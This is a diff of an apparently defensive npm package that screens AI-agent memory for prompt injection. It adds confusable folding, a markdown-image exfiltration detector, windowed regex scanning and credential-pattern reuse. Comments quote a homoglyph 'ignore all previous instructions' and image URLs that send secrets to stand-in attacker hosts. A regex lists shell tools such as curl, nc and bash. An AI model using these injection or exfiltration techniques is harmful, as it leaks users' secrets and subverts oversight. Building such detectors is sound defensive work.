  322. package/dist/worker/brain-worker.js +79 -16
  323. package/dist/worker/types.d.ts +8 -0
  324. package/dist/worker/types.js +8 -0
  325. package/dist/xray/dir-scanner.d.ts +18 -0
  326. package/dist/xray/dir-scanner.js +23 -1
  327. package/dist/xray/file-scanner.js +16 -1
  328. package/dist/xray/findings-store.js +9 -1
  329. package/dist/xray/index.d.ts +2 -0
  330. package/dist/xray/index.js +10 -1
  331. package/dist/xray/npm-inspector.d.ts +31 -0
  332. package/dist/xray/npm-inspector.js +135 -29
  333. package/dist/xray/patterns.d.ts +1 -1
  334. package/dist/xray/patterns.js +20 -23
  335. package/dist/xray/sarif.d.ts +78 -0
  336. package/dist/xray/sarif.js +166 -0
  337. package/dist/xray/watch.d.ts +1 -0
  338. package/dist/xray/watch.js +10 -1
  339. package/hooks/openclaw/cortex-memory/handler.ts +122 -18
  340. package/hooks/openclaw/cortex-memory/runtime.mjs +10 -4
  341. package/package.json +10 -3
  342. package/dist/memory/embedding-cache.d.ts +0 -20
  343. package/dist/memory/embedding-cache.js +0 -91
  344. /package/dashboard/.next/standalone/dashboard/.next/static/{T0hqc-Le01c8QVY0VrHnu → Ox9scglBehbbCk7DD8-Vn}/_buildManifest.js +0 -0
  345. /package/dashboard/.next/standalone/dashboard/.next/static/{T0hqc-Le01c8QVY0VrHnu → Ox9scglBehbbCk7DD8-Vn}/_clientMiddlewareManifest.json +0 -0
  346. /package/dashboard/.next/standalone/dashboard/.next/static/{T0hqc-Le01c8QVY0VrHnu → Ox9scglBehbbCk7DD8-Vn}/_ssgManifest.js +0 -0
@@ -357,3 +357,24 @@ export const ALL_CREDENTIAL_PATTERNS = [
357
357
  ...GENERIC_SECRET_PATTERNS,
358
358
  ...ENV_SECRET_PATTERNS,
359
359
  ];
360
+ // ── Single Source of Truth — pattern lookup by name (Phase 17 C3) ──
361
+ /** Index of every credential pattern by its `name`, for cross-module reuse. */
362
+ const PATTERNS_BY_NAME = new Map(ALL_CREDENTIAL_PATTERNS.map((p) => [p.name, p]));
363
+ /**
364
+ * Fetch specific credential pattern SOURCES by name from the single source of
365
+ * truth. Lets other detectors (e.g. fragmentation entity extraction) reuse the
366
+ * canonical token regexes instead of maintaining their own divergent copies —
367
+ * WITHOUT pulling in the broad/low-confidence heuristics, so detection scope is
368
+ * unchanged. Throws on an unknown name so a rename can never silently drop a
369
+ * provider.
370
+ */
371
+ export function getCredentialRegexesByName(names) {
372
+ return names.map((name) => {
373
+ const pattern = PATTERNS_BY_NAME.get(name);
374
+ if (!pattern) {
375
+ throw new Error(`Unknown credential pattern name: "${name}"`);
376
+ }
377
+ // Fresh RegExp so callers don't share lastIndex state with the source.
378
+ return new RegExp(pattern.regex.source, pattern.regex.flags);
379
+ });
380
+ }
@@ -2,6 +2,13 @@
2
2
  * SQLite CRUD for custom injection patterns (Pro feature).
3
3
  */
4
4
  import { getDatabase } from '../../database/init.js';
5
+ import { createRequire } from 'module';
6
+ // safe-regex2 is require()d lazily (it may not be installed) behind a
7
+ // try/catch fallback. Under real Node ESM a bare require() throws
8
+ // ReferenceError, which the catch would swallow — quietly downgrading the
9
+ // ReDoS check to the weaker heuristic. createRequire() gives us a working
10
+ // require here.
11
+ const require = createRequire(import.meta.url);
5
12
  const MAX_PATTERNS = 50;
6
13
  const MAX_REGEX_LENGTH = 500;
7
14
  /**
@@ -23,7 +30,7 @@ export function validateRegex(pattern) {
23
30
  }
24
31
  // ReDoS check via safe-regex2
25
32
  try {
26
- // Dynamic import fallback safe-regex2 may not be installed
33
+ // Load the CommonJS safe-regex2 via createRequire (it may not be installed)
27
34
  // eslint-disable-next-line @typescript-eslint/no-require-imports
28
35
  const safe = require('safe-regex2');
29
36
  if (!safe(pattern)) {
@@ -36,3 +36,21 @@ export declare function deleteFirewallRule(id: number): boolean;
36
36
  * Get all enabled rules sorted by priority (used by the defence pipeline).
37
37
  */
38
38
  export declare function getEnabledFirewallRules(): FirewallRule[];
39
+ /**
40
+ * Evaluate a single firewall rule against candidate text(s), honouring the
41
+ * rule's `condition_type`. This is the single source of truth for rule
42
+ * matching — the defence pipeline calls it for every enabled rule.
43
+ *
44
+ * - `keyword`: case-insensitive LITERAL substring match. Regex metacharacters
45
+ * in the value (`a.b`, `x+y`) are treated literally, not as a pattern.
46
+ * - `domain`: the value is matched as a host/domain. It matches when the value
47
+ * appears as a hostname (or a suffix of one, so `evil.com` matches
48
+ * `api.evil.com`) anywhere in the text, including inside a URL.
49
+ * - `regex` (and any unknown type): compiled as a case-insensitive RegExp.
50
+ * Invalid patterns never match (returns false) rather than throwing.
51
+ *
52
+ * `condition_value` is assumed to have already been vetted by safe-regex2 at
53
+ * creation time for regex rules (see createFirewallRule callers); we still
54
+ * guard compilation here so a malformed stored value can't crash the pipeline.
55
+ */
56
+ export declare function ruleMatches(rule: Pick<FirewallRule, 'condition_type' | 'condition_value'>, ...texts: Array<string | undefined | null>): boolean;
@@ -58,3 +58,66 @@ export function getEnabledFirewallRules() {
58
58
  const db = getDatabase();
59
59
  return db.prepare('SELECT * FROM firewall_rules WHERE enabled = 1 ORDER BY priority ASC').all();
60
60
  }
61
+ /**
62
+ * Evaluate a single firewall rule against candidate text(s), honouring the
63
+ * rule's `condition_type`. This is the single source of truth for rule
64
+ * matching — the defence pipeline calls it for every enabled rule.
65
+ *
66
+ * - `keyword`: case-insensitive LITERAL substring match. Regex metacharacters
67
+ * in the value (`a.b`, `x+y`) are treated literally, not as a pattern.
68
+ * - `domain`: the value is matched as a host/domain. It matches when the value
69
+ * appears as a hostname (or a suffix of one, so `evil.com` matches
70
+ * `api.evil.com`) anywhere in the text, including inside a URL.
71
+ * - `regex` (and any unknown type): compiled as a case-insensitive RegExp.
72
+ * Invalid patterns never match (returns false) rather than throwing.
73
+ *
74
+ * `condition_value` is assumed to have already been vetted by safe-regex2 at
75
+ * creation time for regex rules (see createFirewallRule callers); we still
76
+ * guard compilation here so a malformed stored value can't crash the pipeline.
77
+ */
78
+ export function ruleMatches(rule, ...texts) {
79
+ const value = rule.condition_value;
80
+ if (!value)
81
+ return false;
82
+ const candidates = texts.filter((t) => typeof t === 'string' && t.length > 0);
83
+ if (candidates.length === 0)
84
+ return false;
85
+ const type = (rule.condition_type || 'regex').toLowerCase();
86
+ if (type === 'keyword') {
87
+ const needle = value.toLowerCase();
88
+ return candidates.some((text) => text.toLowerCase().includes(needle));
89
+ }
90
+ if (type === 'domain') {
91
+ return candidates.some((text) => textContainsDomain(text, value));
92
+ }
93
+ // regex (default): compile case-insensitively; a bad pattern never matches.
94
+ let regex;
95
+ try {
96
+ regex = new RegExp(value, 'i');
97
+ }
98
+ catch {
99
+ return false;
100
+ }
101
+ return candidates.some((text) => regex.test(text));
102
+ }
103
+ /**
104
+ * True when `domain` appears as a host (or a parent suffix of a host) in the
105
+ * given text. We extract hostname-shaped tokens from the text and compare each
106
+ * against the configured domain with proper label-boundary semantics:
107
+ * - exact match: `evil.com` matches host `evil.com`
108
+ * - subdomain match: `evil.com` matches host `api.evil.com`
109
+ * - NOT a partial-label match: `evil.com` does NOT match `notevil.com`
110
+ */
111
+ function textContainsDomain(text, domain) {
112
+ const target = domain.trim().toLowerCase().replace(/^\.+|\.+$/g, '');
113
+ if (!target)
114
+ return false;
115
+ // Pull out hostname-shaped tokens (URL hosts, bare hosts, emails-after-@).
116
+ // A host is dot-separated labels of [a-z0-9-], at least two labels long, or
117
+ // the exact target itself.
118
+ const hostRegex = /[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/gi;
119
+ const matches = text.toLowerCase().match(hostRegex);
120
+ if (!matches)
121
+ return false;
122
+ return matches.some((host) => host === target || host.endsWith(`.${target}`));
123
+ }
@@ -0,0 +1,30 @@
1
+ /**
2
+ * Unicode Confusable Folding
3
+ *
4
+ * Cross-script homoglyph attacks swap a single Latin letter for an
5
+ * identical-looking glyph from another script (e.g. Cyrillic `е` U+0435 for
6
+ * Latin `e`), so `ignorе all previous instructions` reads as English but never
7
+ * matches an ASCII regex. `foldConfusables` normalises such text back to its
8
+ * Latin skeleton so the instruction detector can match the real intent.
9
+ *
10
+ * Two stages:
11
+ * 1. NFKC normalisation — folds fullwidth forms, many mathematical
12
+ * alphanumerics, ligatures, etc. down to their ASCII compatibility forms.
13
+ * 2. A curated cross-script lookalike table — the high-frequency Cyrillic and
14
+ * Greek glyphs that NFKC does NOT touch (NFKC preserves script identity for
15
+ * these). This is deliberately NOT exhaustive: it targets the glyphs that
16
+ * actually show up in homoglyph injection attacks, not the full Unicode
17
+ * confusables database.
18
+ */
19
+ /**
20
+ * Fold a string to its Latin skeleton: NFKC first, then map curated
21
+ * cross-script confusables to their Latin lookalikes.
22
+ */
23
+ export declare function foldConfusables(s: string): string;
24
+ /**
25
+ * True when a cross-script confusable substitution changed something beyond
26
+ * what plain NFKC normalisation does — i.e. one of the curated Cyrillic/Greek
27
+ * glyphs was present and got folded to a different Latin letter. Genuine
28
+ * NFKC-only changes (fullwidth, ligatures) do NOT count.
29
+ */
30
+ export declare function hasConfusables(s: string): boolean;
@@ -0,0 +1,87 @@
1
+ /**
2
+ * Unicode Confusable Folding
3
+ *
4
+ * Cross-script homoglyph attacks swap a single Latin letter for an
5
+ * identical-looking glyph from another script (e.g. Cyrillic `е` U+0435 for
6
+ * Latin `e`), so `ignorе all previous instructions` reads as English but never
7
+ * matches an ASCII regex. `foldConfusables` normalises such text back to its
8
+ * Latin skeleton so the instruction detector can match the real intent.
9
+ *
10
+ * Two stages:
11
+ * 1. NFKC normalisation — folds fullwidth forms, many mathematical
12
+ * alphanumerics, ligatures, etc. down to their ASCII compatibility forms.
13
+ * 2. A curated cross-script lookalike table — the high-frequency Cyrillic and
14
+ * Greek glyphs that NFKC does NOT touch (NFKC preserves script identity for
15
+ * these). This is deliberately NOT exhaustive: it targets the glyphs that
16
+ * actually show up in homoglyph injection attacks, not the full Unicode
17
+ * confusables database.
18
+ */
19
+ // Cyrillic → Latin. The lowercase codepoints here are the same set used by
20
+ // CYRILLIC_HOMOGLYPHS in encoding-detector.ts (the run that already drives the
21
+ // homoglyph flag); the uppercase set extends it for capitalised attack text.
22
+ const CYRILLIC_TO_LATIN = {
23
+ 'а': 'a', // а
24
+ 'е': 'e', // е
25
+ 'о': 'o', // о
26
+ 'р': 'p', // р
27
+ 'с': 'c', // с
28
+ 'у': 'y', // у
29
+ 'х': 'x', // х
30
+ 'А': 'A', // А
31
+ 'В': 'B', // В
32
+ 'Е': 'E', // Е
33
+ 'К': 'K', // К
34
+ 'М': 'M', // М
35
+ 'Н': 'H', // Н
36
+ 'О': 'O', // О
37
+ 'Р': 'P', // Р
38
+ 'С': 'C', // С
39
+ 'Т': 'T', // Т
40
+ 'У': 'Y', // У
41
+ 'Х': 'X', // Х
42
+ };
43
+ // Greek → Latin. Only the high-frequency lookalikes; lowercase Greek mostly
44
+ // does not resemble Latin (α/β/γ are distinct) so we cover lowercase omicron
45
+ // plus the capital letters that are visually identical to Latin capitals.
46
+ const GREEK_TO_LATIN = {
47
+ 'ο': 'o', // ο lowercase omicron
48
+ 'Α': 'A', // Α
49
+ 'Β': 'B', // Β
50
+ 'Ε': 'E', // Ε
51
+ 'Ζ': 'Z', // Ζ
52
+ 'Η': 'H', // Η
53
+ 'Ι': 'I', // Ι
54
+ 'Κ': 'K', // Κ
55
+ 'Μ': 'M', // Μ
56
+ 'Ν': 'N', // Ν
57
+ 'Ο': 'O', // Ο
58
+ 'Ρ': 'P', // Ρ
59
+ 'Τ': 'T', // Τ
60
+ 'Υ': 'Y', // Υ
61
+ 'Χ': 'X', // Χ
62
+ };
63
+ const CONFUSABLE_MAP = {
64
+ ...CYRILLIC_TO_LATIN,
65
+ ...GREEK_TO_LATIN,
66
+ };
67
+ /**
68
+ * Fold a string to its Latin skeleton: NFKC first, then map curated
69
+ * cross-script confusables to their Latin lookalikes.
70
+ */
71
+ export function foldConfusables(s) {
72
+ const normalised = s.normalize('NFKC');
73
+ let out = '';
74
+ for (const ch of normalised) {
75
+ out += CONFUSABLE_MAP[ch] ?? ch;
76
+ }
77
+ return out;
78
+ }
79
+ /**
80
+ * True when a cross-script confusable substitution changed something beyond
81
+ * what plain NFKC normalisation does — i.e. one of the curated Cyrillic/Greek
82
+ * glyphs was present and got folded to a different Latin letter. Genuine
83
+ * NFKC-only changes (fullwidth, ligatures) do NOT count.
84
+ */
85
+ export function hasConfusables(s) {
86
+ return foldConfusables(s) !== s.normalize('NFKC');
87
+ }
@@ -4,18 +4,22 @@
4
4
  * Detects obfuscation attempts including base64, unicode tricks,
5
5
  * hex encoding, suspicious URL encoding, and invisible characters.
6
6
  */
7
+ import { hasConfusables } from './confusables.js';
7
8
  // Base64: at least 20 chars of base64 alphabet, optionally padded
8
9
  const BASE64_PATTERN = /(?:[A-Za-z0-9+/]{4}){5,}(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?/g;
9
10
  // Hex sequences
10
11
  const HEX_PATTERN = /(?:0x[0-9a-fA-F]{2}\s*){4,}|(?:\\x[0-9a-fA-F]{2}){4,}|\b[0-9a-fA-F]{20,}\b/g;
11
12
  // Suspicious URL encoding (4+ encoded chars in sequence)
12
13
  const URL_ENCODING_PATTERN = /(?:%[0-9A-Fa-f]{2}){4,}/g;
13
- // Zero-width characters
14
- const ZERO_WIDTH_PATTERN = /[\u200B\u200C\u200D\uFEFF]/g;
15
- // RTL override
16
- const RTL_OVERRIDE_PATTERN = /\u202E/g;
17
- // Unicode homoglyphs — Cyrillic characters that look like Latin
18
- const CYRILLIC_HOMOGLYPHS = /[\u0430\u0435\u043E\u0440\u0441\u0443\u0445\u0410\u0412\u0415\u041A\u041C\u041D\u041E\u0420\u0421\u0422\u0423\u0425]/g;
14
+ // Zero-width characters.
15
+ // NOTE: presence check only (used with `.test()`), so NO `/g` flag \u2014 a stateful
16
+ // `/g` regex advances `lastIndex` across `.test()` calls and flip-flops between
17
+ // true/false for identical content, silently missing zero-width smuggling.
18
+ const ZERO_WIDTH_PATTERN = /[\u200B\u200C\u200D\uFEFF]/;
19
+ // RTL override \u2014 presence check only, NO `/g` (same stateful-test hazard).
20
+ const RTL_OVERRIDE_PATTERN = /\u202E/;
21
+ // ASCII Latin letters — used by the mixed-script homoglyph signal below.
22
+ const ASCII_LATIN = /[A-Za-z]/;
19
23
  function tryBase64DecodeSingle(str) {
20
24
  try {
21
25
  const decoded = Buffer.from(str, 'base64').toString('utf-8');
@@ -121,9 +125,19 @@ export function detectEncoding(content) {
121
125
  if (RTL_OVERRIDE_PATTERN.test(content)) {
122
126
  encodingTypes.push('rtl_override');
123
127
  }
124
- // Unicode homoglyphs
125
- const homoglyphMatches = content.match(CYRILLIC_HOMOGLYPHS);
126
- if (homoglyphMatches && homoglyphMatches.length >= 2) {
128
+ // Unicode homoglyphs — mixed-script signal.
129
+ //
130
+ // The old rule ("≥2 Cyrillic confusables") missed a single substitution
131
+ // (`ignorе` with one Cyrillic е reads as Latin and slipped through). The new
132
+ // rule flags 'unicode_homoglyph' when BOTH are true:
133
+ // 1. a curated cross-script confusable is present (hasConfusables — folding
134
+ // changed something beyond plain NFKC), AND
135
+ // 2. the content also contains an ASCII Latin letter.
136
+ // That combination means a Latin word has a foreign lookalike hidden in it.
137
+ // A wholly-Cyrillic Russian sentence has NO ASCII Latin letters, so it does
138
+ // NOT flag — genuine non-Latin text is left alone. Covers the Cyrillic AND
139
+ // Greek glyphs in the confusables map (a single substitution is enough).
140
+ if (hasConfusables(content) && ASCII_LATIN.test(content)) {
127
141
  encodingTypes.push('unicode_homoglyph');
128
142
  }
129
143
  return {
@@ -7,14 +7,24 @@
7
7
  * firewall analysis result.
8
8
  */
9
9
  import type { FirewallAnalysis, DefenceSource, DefenceConfig } from '../types.js';
10
+ import type { SanitisationCategory } from '../input-sanitisation/index.js';
10
11
  export { detectInstructions } from './instruction-detector.js';
11
12
  export type { InstructionDetectionResult } from './instruction-detector.js';
12
13
  export { detectPrivilegeEscalation } from './privilege-detector.js';
13
14
  export type { PrivilegeDetectionResult } from './privilege-detector.js';
14
15
  export { detectEncoding } from './encoding-detector.js';
15
16
  export type { EncodingDetectionResult } from './encoding-detector.js';
17
+ export { detectMarkdownImageExfil } from './markdown-image-detector.js';
18
+ export type { MarkdownImageExfilResult } from './markdown-image-detector.js';
16
19
  export { scoreAnomaly } from './anomaly-scorer.js';
17
20
  /**
18
21
  * Run the full firewall analysis pipeline on memory content.
19
22
  */
20
- export declare function analyzeFirewall(content: string, title: string, source: DefenceSource, trustScore: number, config: DefenceConfig): FirewallAnalysis;
23
+ export declare function analyzeFirewall(content: string, title: string, source: DefenceSource, trustScore: number, config: DefenceConfig,
24
+ /**
25
+ * Categories stripped by Layer 1 sanitisation BEFORE this content arrived.
26
+ * The sanitiser removes zero-width/bidi bytes, so the encoding detector below
27
+ * never sees them — feeding the strip signal back in lets the verdict reflect
28
+ * the smuggling attempt instead of silently allowing the cleaned content.
29
+ */
30
+ preSanitisationStrips?: SanitisationCategory[]): FirewallAnalysis;
@@ -9,6 +9,7 @@
9
9
  import { detectInstructions } from './instruction-detector.js';
10
10
  import { detectPrivilegeEscalation } from './privilege-detector.js';
11
11
  import { detectEncoding } from './encoding-detector.js';
12
+ import { detectMarkdownImageExfil } from './markdown-image-detector.js';
12
13
  import { scoreAnomaly } from './anomaly-scorer.js';
13
14
  import { detectSkillThreats } from '../skill-scanner/patterns.js';
14
15
  import { scanForCredentials } from '../credential-leak/index.js';
@@ -16,15 +17,39 @@ import { scanForCredentials } from '../credential-leak/index.js';
16
17
  export { detectInstructions } from './instruction-detector.js';
17
18
  export { detectPrivilegeEscalation } from './privilege-detector.js';
18
19
  export { detectEncoding } from './encoding-detector.js';
20
+ export { detectMarkdownImageExfil } from './markdown-image-detector.js';
19
21
  export { scoreAnomaly } from './anomaly-scorer.js';
20
22
  /**
21
23
  * Run the full firewall analysis pipeline on memory content.
22
24
  */
23
- export function analyzeFirewall(content, title, source, trustScore, config) {
25
+ export function analyzeFirewall(content, title, source, trustScore, config,
26
+ /**
27
+ * Categories stripped by Layer 1 sanitisation BEFORE this content arrived.
28
+ * The sanitiser removes zero-width/bidi bytes, so the encoding detector below
29
+ * never sees them — feeding the strip signal back in lets the verdict reflect
30
+ * the smuggling attempt instead of silently allowing the cleaned content.
31
+ */
32
+ preSanitisationStrips) {
24
33
  const instructions = detectInstructions(content);
25
34
  const privilege = detectPrivilegeEscalation(content);
26
35
  const encoding = detectEncoding(content);
36
+ const markdownImage = detectMarkdownImageExfil(content);
27
37
  const anomaly = scoreAnomaly(content, title);
38
+ // Fold pre-sanitisation zero-width/bidi strips into the encoding signal so
39
+ // determineResult escalates (quarantine in balanced, block in strict). We map
40
+ // them onto the SAME encodingTypes the detector emits ('zero_width_chars' /
41
+ // 'rtl_override') so the existing "suspicious encoding → quarantine" rule and
42
+ // the strict-mode detection count both fire without any extra branches.
43
+ if (preSanitisationStrips?.includes('zero_width') &&
44
+ !encoding.encodingTypes.includes('zero_width_chars')) {
45
+ encoding.encodingTypes.push('zero_width_chars');
46
+ encoding.detected = true;
47
+ }
48
+ if (preSanitisationStrips?.includes('bidi_override') &&
49
+ !encoding.encodingTypes.includes('rtl_override')) {
50
+ encoding.encodingTypes.push('rtl_override');
51
+ encoding.detected = true;
52
+ }
28
53
  // Skill scanner patterns — catches tool injection, scope escalation,
29
54
  // data exfiltration, persistence, supply chain, agent manipulation,
30
55
  // and stealth instructions in memory content (not just skill files).
@@ -53,6 +78,14 @@ export function analyzeFirewall(content, title, source, trustScore, config) {
53
78
  threatIndicators.push('encoding_obfuscation');
54
79
  blockedPatterns.push(...encoding.encodingTypes);
55
80
  }
81
+ // Markdown-image exfiltration — a rendered image URL that smuggles data to an
82
+ // attacker. Reported as external_url so determineResult treats it the same as
83
+ // any other off-host link: low-severity alone, but it escalates the verdict
84
+ // when it co-occurs with another detection (encoding combined with >=2, etc.).
85
+ if (markdownImage.detected && !threatIndicators.includes('external_url')) {
86
+ threatIndicators.push('external_url');
87
+ blockedPatterns.push('markdown_image_exfil');
88
+ }
56
89
  // Skill-level threats in memory content (tool injection, scope escalation, etc.)
57
90
  if (skillThreats.detected) {
58
91
  for (const threat of skillThreats.threats) {
@@ -3,6 +3,8 @@
3
3
  *
4
4
  * Detects prompt injection and hidden instruction patterns in memory content.
5
5
  */
6
+ import { foldConfusables } from './confusables.js';
7
+ import { someWindow } from '../scan-windows.js';
6
8
  const PATTERN_GROUPS = [
7
9
  {
8
10
  name: 'system_prompt_marker',
@@ -141,23 +143,32 @@ const PATTERN_GROUPS = [
141
143
  ],
142
144
  },
143
145
  ];
144
- // Maximum content length to scan (prevents ReDOS on very long inputs)
145
- const MAX_SCAN_LENGTH = 50000;
146
146
  /**
147
- * Safely test a regex against content with length limit
147
+ * Safely test a regex against content.
148
+ *
149
+ * Scans the WHOLE input as overlapping windows (<= SCAN_WINDOW_SIZE chars each)
150
+ * rather than truncating to the first 50KB. Each window keeps the per-regex work
151
+ * bounded (preserving the ReDoS guarantee the old truncation gave us) while the
152
+ * overlap means a payload buried past 50KB of filler is still tested — closing
153
+ * the >50KB padding bypass.
148
154
  */
149
155
  function safeRegexTest(pattern, text) {
150
- // Truncate to prevent potential ReDOS on extremely long inputs
151
- const truncated = text.length > MAX_SCAN_LENGTH ? text.slice(0, MAX_SCAN_LENGTH) : text;
152
- return pattern.test(truncated);
156
+ return someWindow(text, (window) => pattern.test(window));
153
157
  }
154
158
  export function detectInstructions(content) {
155
159
  const matchedPatterns = [];
156
160
  let totalWeight = 0;
157
161
  let maxWeight = 0;
162
+ // Fold cross-script confusables (Cyrillic/Greek homoglyphs + NFKC forms) to
163
+ // their Latin skeleton so a single-glyph substitution like `ignorе` (Cyrillic
164
+ // е) still matches the ASCII patterns. We test the original first, then the
165
+ // folded copy only if folding changed something — testing both means we never
166
+ // *lose* a match that the original would have caught.
167
+ const folded = foldConfusables(content);
168
+ const variants = folded !== content ? [content, folded] : [content];
158
169
  for (const group of PATTERN_GROUPS) {
159
170
  for (const pattern of group.patterns) {
160
- if (safeRegexTest(pattern, content)) {
171
+ if (variants.some((variant) => safeRegexTest(pattern, variant))) {
161
172
  matchedPatterns.push(group.name);
162
173
  totalWeight += group.weight;
163
174
  if (group.weight > maxWeight) {
@@ -0,0 +1,34 @@
1
+ /**
2
+ * Markdown-Image Exfiltration Detector
3
+ *
4
+ * A classic tool-output / agent-memory exfiltration vector is a markdown image
5
+ * whose URL silently smuggles data to an attacker the moment a client renders
6
+ * it (no click required):
7
+ *
8
+ * ![x](https://evil.example/log?d=<secrets>)
9
+ * ![](http://attacker.test/${data})
10
+ *
11
+ * This detector flags markdown image syntax `![alt](URL)` where the URL is an
12
+ * http(s) link that LOOKS like a data-exfiltration sink. It is deliberately
13
+ * conservative — a plain `![logo](https://example.com/logo.png)` must NOT trip
14
+ * it — so a URL only flags when one of these holds:
15
+ *
16
+ * 1. it carries a query string whose value(s) look like smuggled data:
17
+ * long (>= EXFIL_VALUE_MIN_LEN chars) and/or base64-ish/percent-encoded; OR
18
+ * 2. it contains an unresolved template placeholder (`${...}` / `{{...}}`),
19
+ * which only appears when an injection is trying to interpolate captured
20
+ * data into the URL.
21
+ *
22
+ * Pure presence of a query string is NOT enough (analytics/CDN links routinely
23
+ * have `?v=2&w=400`); the value has to look like a payload. This keeps the false
24
+ * positive rate low while catching the real exfil shape.
25
+ */
26
+ export interface MarkdownImageExfilResult {
27
+ detected: boolean;
28
+ /** The offending image URLs (capped), for reporting. */
29
+ urls: string[];
30
+ }
31
+ /**
32
+ * Scan content for markdown-image exfiltration links.
33
+ */
34
+ export declare function detectMarkdownImageExfil(content: string): MarkdownImageExfilResult;
@@ -0,0 +1,83 @@
1
+ /**
2
+ * Markdown-Image Exfiltration Detector
3
+ *
4
+ * A classic tool-output / agent-memory exfiltration vector is a markdown image
5
+ * whose URL silently smuggles data to an attacker the moment a client renders
6
+ * it (no click required):
7
+ *
8
+ * ![x](https://evil.example/log?d=<secrets>)
9
+ * ![](http://attacker.test/${data})
10
+ *
11
+ * This detector flags markdown image syntax `![alt](URL)` where the URL is an
12
+ * http(s) link that LOOKS like a data-exfiltration sink. It is deliberately
13
+ * conservative — a plain `![logo](https://example.com/logo.png)` must NOT trip
14
+ * it — so a URL only flags when one of these holds:
15
+ *
16
+ * 1. it carries a query string whose value(s) look like smuggled data:
17
+ * long (>= EXFIL_VALUE_MIN_LEN chars) and/or base64-ish/percent-encoded; OR
18
+ * 2. it contains an unresolved template placeholder (`${...}` / `{{...}}`),
19
+ * which only appears when an injection is trying to interpolate captured
20
+ * data into the URL.
21
+ *
22
+ * Pure presence of a query string is NOT enough (analytics/CDN links routinely
23
+ * have `?v=2&w=400`); the value has to look like a payload. This keeps the false
24
+ * positive rate low while catching the real exfil shape.
25
+ */
26
+ // Markdown image: ![alt](URL). URL captured up to the closing paren / whitespace.
27
+ // Length-capped on alt + URL to keep the regex ReDoS-safe.
28
+ const MARKDOWN_IMAGE_PATTERN = /!\[[^\]]{0,200}\]\((https?:\/\/[^)\s]{1,2000})\)/gi;
29
+ // A query value that looks like smuggled data: long opaque token, base64-ish,
30
+ // or percent-encoded run.
31
+ const EXFIL_VALUE_MIN_LEN = 24;
32
+ const BASEISH_VALUE = /^[A-Za-z0-9+/_=-]{16,}$/;
33
+ const PERCENT_RUN = /(?:%[0-9A-Fa-f]{2}){3,}/;
34
+ // Unresolved template interpolation in a URL — never legitimate in a static link.
35
+ const TEMPLATE_PLACEHOLDER = /\$\{[^}]*\}|\{\{[^}]*\}\}/;
36
+ /**
37
+ * True if an image URL's query string carries values that look like exfiltrated
38
+ * data, or if the URL contains an unresolved template placeholder.
39
+ */
40
+ function urlLooksLikeExfil(rawUrl) {
41
+ if (TEMPLATE_PLACEHOLDER.test(rawUrl))
42
+ return true;
43
+ const qIndex = rawUrl.indexOf('?');
44
+ if (qIndex === -1)
45
+ return false;
46
+ const query = rawUrl.slice(qIndex + 1);
47
+ if (!query)
48
+ return false;
49
+ // Inspect each key=value pair; flag if any value looks like a payload.
50
+ for (const pair of query.split('&')) {
51
+ const eq = pair.indexOf('=');
52
+ const value = eq === -1 ? pair : pair.slice(eq + 1);
53
+ if (!value)
54
+ continue;
55
+ if (value.length >= EXFIL_VALUE_MIN_LEN)
56
+ return true;
57
+ if (BASEISH_VALUE.test(value) && value.length >= 16)
58
+ return true;
59
+ if (PERCENT_RUN.test(value))
60
+ return true;
61
+ }
62
+ return false;
63
+ }
64
+ /**
65
+ * Scan content for markdown-image exfiltration links.
66
+ */
67
+ export function detectMarkdownImageExfil(content) {
68
+ const urls = [];
69
+ MARKDOWN_IMAGE_PATTERN.lastIndex = 0;
70
+ let match;
71
+ while ((match = MARKDOWN_IMAGE_PATTERN.exec(content)) !== null) {
72
+ const url = match[1];
73
+ if (urlLooksLikeExfil(url)) {
74
+ urls.push(url.slice(0, 200));
75
+ if (urls.length >= 10)
76
+ break;
77
+ }
78
+ }
79
+ return {
80
+ detected: urls.length > 0,
81
+ urls,
82
+ };
83
+ }
@@ -5,15 +5,26 @@
5
5
  * that could be fragments of a larger attack payload.
6
6
  */
7
7
  import { getDatabase } from '../../database/init.js';
8
+ import { getCredentialRegexesByName } from '../credential-leak/patterns.js';
8
9
  // ── Regex patterns ──
9
10
  const URL_PATTERN = /https?:\/\/[^\s"'<>)\]]+/gi;
11
+ // Token-shaped provider regexes are sourced from the single source of truth
12
+ // (credential-leak/patterns.ts) rather than re-declared here, so there is ONE
13
+ // definition of "what an OpenAI / AWS / GitHub key looks like" across the
14
+ // codebase (Phase 17 C3). We pull only the specific prefixed-token providers
15
+ // this extractor already matched — NOT the broad/low-confidence heuristics
16
+ // (bare 32-hex, UUID) — so the set of tokens classified as `api_key` is
17
+ // unchanged. GitLab + the broad Slack-variant matcher have no canonical
18
+ // equivalent, so they stay defined locally (different scope).
10
19
  const API_KEY_PATTERNS = [
11
- /sk-[A-Za-z0-9]{20,}/g, // OpenAI-style
12
- /AKIA[A-Z0-9]{16}/g, // AWS access key
13
- /ghp_[A-Za-z0-9]{36,}/g, // GitHub PAT
14
- /gho_[A-Za-z0-9]{36,}/g, // GitHub OAuth
15
- /glpat-[A-Za-z0-9\-_]{20,}/g, // GitLab PAT
16
- /xox[bposa]-[A-Za-z0-9\-]+/g, // Slack tokens
20
+ ...getCredentialRegexesByName([
21
+ 'OpenAI API Key', // sk-...
22
+ 'AWS Access Key ID', // AKIA...
23
+ 'GitHub Personal Access Token', // ghp_...
24
+ 'GitHub OAuth Token', // gho_...
25
+ ]),
26
+ /glpat-[A-Za-z0-9\-_]{20,}/g, // GitLab PAT (no canonical equivalent)
27
+ /xox[bposa]-[A-Za-z0-9\-]+/g, // Slack tokens (broader than canonical xoxb rule)
17
28
  ];
18
29
  const CREDENTIAL_PATTERN = /(?:token|password|secret|key|auth)[=:\s]+["']?([A-Za-z0-9_\-]{20,})["']?/gi;
19
30
  const COMMAND_PATTERNS = /(?:^|\s)((?:curl|wget|ssh|scp|rsync|chmod|chown|rm|sudo|apt|yum|pip|npm|docker|kubectl|nc|ncat|bash|sh|python|perl|ruby|eval|exec)\s+[^\n]{3,})/gim;
@@ -10,11 +10,16 @@ export { scoreSource, filterByTrust } from './trust/index.js';
10
10
  export { analyzeFirewall } from './firewall/index.js';
11
11
  export { classifySensitivity, redactContent, redactForDisplay } from './sensitivity/index.js';
12
12
  export { analyzeFragmentation, storeFragmentationData } from './fragmentation/index.js';
13
+ export { analyzeSemanticSimilarity, SEMANTIC_SIMILARITY_THRESHOLD } from './semantic/index.js';
14
